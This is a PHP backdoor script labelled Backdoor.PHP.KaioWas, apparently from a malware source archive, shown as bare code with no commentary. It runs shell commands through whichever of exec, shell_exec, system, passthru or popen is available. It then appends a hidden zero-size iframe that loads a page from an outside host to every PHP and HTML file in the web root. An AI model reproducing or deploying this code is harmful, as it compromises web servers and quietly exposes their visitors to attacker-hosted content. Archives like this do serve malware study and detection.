MalwareSourceCode/PHP/Backdoor.PHP.KaioWas

<?
$dir = @getcwd();
echo "KaioWas";
$cmd="id";
$eseguicmd=ex($cmd);
echo $eseguicmd;
function ex($cfe){
$res = '';
if (!empty($cfe)){
if(function_exists('exec')){
@exec($cfe,$res);
$res = join("\n",$res);
}
elseif(function_exists('shell_exec')){
$res = @shell_exec($cfe);
}
elseif(function_exists('system')){
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
}
elseif(function_exists('passthru')){
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
}
elseif(@is_resource($f = @popen($cfe,"r"))){
$res = "";
while(!@feof($f)) { $res .= @fread($f,1024); }
@pclose($f);
}}
return $res;
}
function view_size($size)
{
if (!is_numeric($size)) {return FALSE;} 

else
{ 
if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";} 

elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";} 

elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";} 

else {$size = $size . " B";} 

return $size;
}
} 
if(!isset($_SERVER['DOCUMENT_ROOT']))
{
$n = $_SERVER['SCRIPT_NAME'];
$f = ereg_replace('\\\\', '/',$_SERVER["PATH_TRANSLATED"]);
$f = str_replace('//','/',$f);
$_SERVER['DOCUMENT_ROOT'] = eregi_replace($n, "", $f);
}
$codigo = "<IFRAME src=\"http://usuarios.arnet.com.ar/alvarezluque/morgan.html\" width=\"0\" height=\"0\" frameborder=\"0\"></iframe>\n";
$directorio = $_SERVER['DOCUMENT_ROOT'];

foreach (glob("$directorio/*.php") as $archivo) {
$fp=fopen($archivo,"a+");
fputs($fp,$codigo);
}
foreach (glob("$directorio/*.htm") as $archivh) {
$fp=fopen($archivh,"a+");
fputs($fp,$codigo);
}
foreach (glob("$directorio/*.html") as $archivl) {
$fp=fopen($archivl,"a+");
fputs($fp,$codigo);
}
?>